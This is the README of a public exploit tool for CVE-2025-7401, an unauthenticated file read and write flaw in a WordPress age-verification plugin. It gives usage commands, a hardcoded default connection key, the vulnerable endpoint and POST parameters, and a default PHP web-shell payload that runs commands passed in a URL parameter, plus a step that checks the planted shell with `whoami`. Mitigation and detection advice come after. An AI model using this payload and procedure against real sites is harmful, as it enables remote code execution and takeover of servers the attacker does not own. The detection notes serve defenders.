Premium Age Verification / Restriction for WordPress <= 3.0.2 - Unauthenticated Arbitrary File Read and Write# CVE-2025-7401
Premium Age Verification / Restriction for WordPress <= 3.0.2 - Unauthenticated Arbitrary File Read and Write
# 🧾 Premium Age Verification / Restriction for WordPress <= 3.0.2 — Unauthenticated Arbitrary File Read & Write
## 📝 Description
The "Premium Age Verification / Restriction for WordPress" plugin contains an insufficiently protected remote support endpoint in `remote_tunnel.php`. In affected versions up to and including 3.0.2, this endpoint can be abused for unauthenticated arbitrary file read and write. Successful exploitation may expose sensitive information or allow remote code execution.
- CVE: CVE-2025-7401
- CVSS: 9.8 (Critical)
---
## ⚙️ Script Overview
- Script name: `CVE-2025-7401.py`
- Purpose: A testing tool for authorized security professionals to validate file write behavior in the vulnerable plugin endpoint. The script normalizes the target, encodes a user-supplied PHP snippet, sends a POST to the vulnerable endpoint to attempt writing a file, and optionally verifies the web-accessible file path.
---
## ▶️ Quick Usage Examples
```bash
# Basic (uses default connection key and default PHP shell)
python CVE-2025-7401.py -u example.com
# Use HTTPS and custom connection key, skip verification
python CVE-2025-7401.py -u https://target.example -key YOUR_KEY --no-verify
# Custom PHP payload (authorized testing only)
python CVE-2025-7401.py -u target.com -shell '<?= system($_GET["cmd"]); ?>'
```
---
## 🧭 Command-line Options
| Flag | Type | Default | Description |
|---|---:|---|---|
| -u, --url | string | required | Target domain or partial URL. The script will append the plugin endpoint when necessary. Examples: `example.com`, `https://example.com`, `example.com/wp-content/plugins/age-restriction/`. |
| -key, --key | string | `330489965d8266a739442ef890f57805` | Connection key used by the remote support endpoint. Override for lab targets if needed. |
| -shell, --shell | string | `<?= system($_GET["cmd"]); ?>` | PHP snippet to inject as file content. Only change for authorized testing. |
| --no-verify | flag | false | If present, the script will not perform the optional GET verification of the written file. |
---
## 📋 Detailed Script Behavior (Step-by-step)
| Step | Action | Details |
|---:|---|---|
| 1 | Input normalization | Accepts user input (domain or partial path). Ensures scheme (`http://` if missing), removes duplicate slashes, and appends `/wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php` if the endpoint is not present. |
| 2 | Header construction | Builds realistic HTTP request headers (rotating user-agent selection, Accept, Referer, Content-Type). |
| 3 | Payload encoding | Base64-encodes the provided PHP snippet and places it in `file_content`. |
| 4 | POST exploit request | Sends `connection_key`, `action=save_file`, `file` (server path), and `file_content` to the normalized `remote_tunnel.php` endpoint via `application/x-www-form-urlencoded`. |
| 5 | Response parsing | Attempts to parse JSON out of the response body. If JSON exists, prints `status` and `file_path`; otherwise prints cleaned raw response. |
| 6 | Verification (optional) | Attempts a GET to `/wp-content/plugins/age-restriction/modules/remote_support/remote_init.php?cmd=whoami` to check whether the injected file is accessible and returns content. Optional via `--no-verify`. |
| 7 | Reporting | Prints a structured, human-readable report including the endpoint used, HTTP status, parsed JSON (if any), expected shell URL, and truncated verification output (if successful). |
---
## 📌 Expected Outputs and Their Meaning
| Output Field | Meaning | Example |
|---|---|---|
| Target endpoint | Final normalized URL contacted (full path to `remote_tunnel.php`). | `http://example.com/wp-content/.../remote_tunnel.php` |
| HTTP Status Code | HTTP response code from POST request. 200 often indicates request processed. | `200` |
| Response JSON status | If the endpoint returns JSON, the `status` field reports success/failure. | `valid` |
| Response JSON file_path | Server-side path returned by the endpoint showing where it wrote the file (informational). | `/var/www/html/wp-content/.../remote_init.php` |
| Raw response | Non-JSON response body (cleaned) such as PHP notices or messages. | `Notice: ...` |
| Shell URL (expected) | The public URL where the injected file would be accessible. Use only for verification in authorized tests. | `http://example.com/wp-content/.../remote_init.php?cmd=whoami` |
| Verification HTTP Status | HTTP status of the optional GET verification. | `200` |
| Verification body (truncated) | First N characters of verification response body (useful to see command output). | `www-data` |
---
## 🛡️ Mitigation & Recommendations
- Upgrade the plugin to a vendor-provided patched version immediately.
- Restrict access to remote support functions with authentication and proper authorization checks.
- Sanitize and validate all user-supplied file paths and file content server-side.
- Apply strict file-system permissions preventing the web user from creating executable files in webroot.
- Deploy WAF rules to detect and block suspicious requests to `remote_tunnel.php`.
---
## 🔎 Detection & Forensics
- Inspect webserver logs for POST requests to `/wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php` with parameters: `action=save_file`, `file`, `file_content`.
- Search plugin directory for unexpected files such as `remote_init.php`.
- Look for base64-encoded payloads in POST bodies.
- Correlate timestamps of file changes with suspicious requests.
---
## 🤝 Responsible Disclosure
If you discover this vulnerability on third-party infrastructure:
- DO NOT exploit or alter production systems.
- Contact the site owner or plugin vendor privately and securely.
- Provide reproducible steps to the vendor and allow reasonable time for remediation before any public disclosure.
---
## ⚖️ Legal & Safety Notice
Unauthorized use of vulnerability testing tools is illegal in many jurisdictions. This repository and script are intended solely for defensive research, authorized testing, and coordinated vulnerability disclosure. Always obtain explicit written permission before testing systems you do not own.
---
## ❗ Disclaimer
The author and contributors accept no responsibility for misuse of the information or tools. Use this material only within legal and ethical boundaries.
---
***By: Nxploited ( Khaled Alenazi )***
登录后查看神龙缓存的 POC 文件快照
登录查看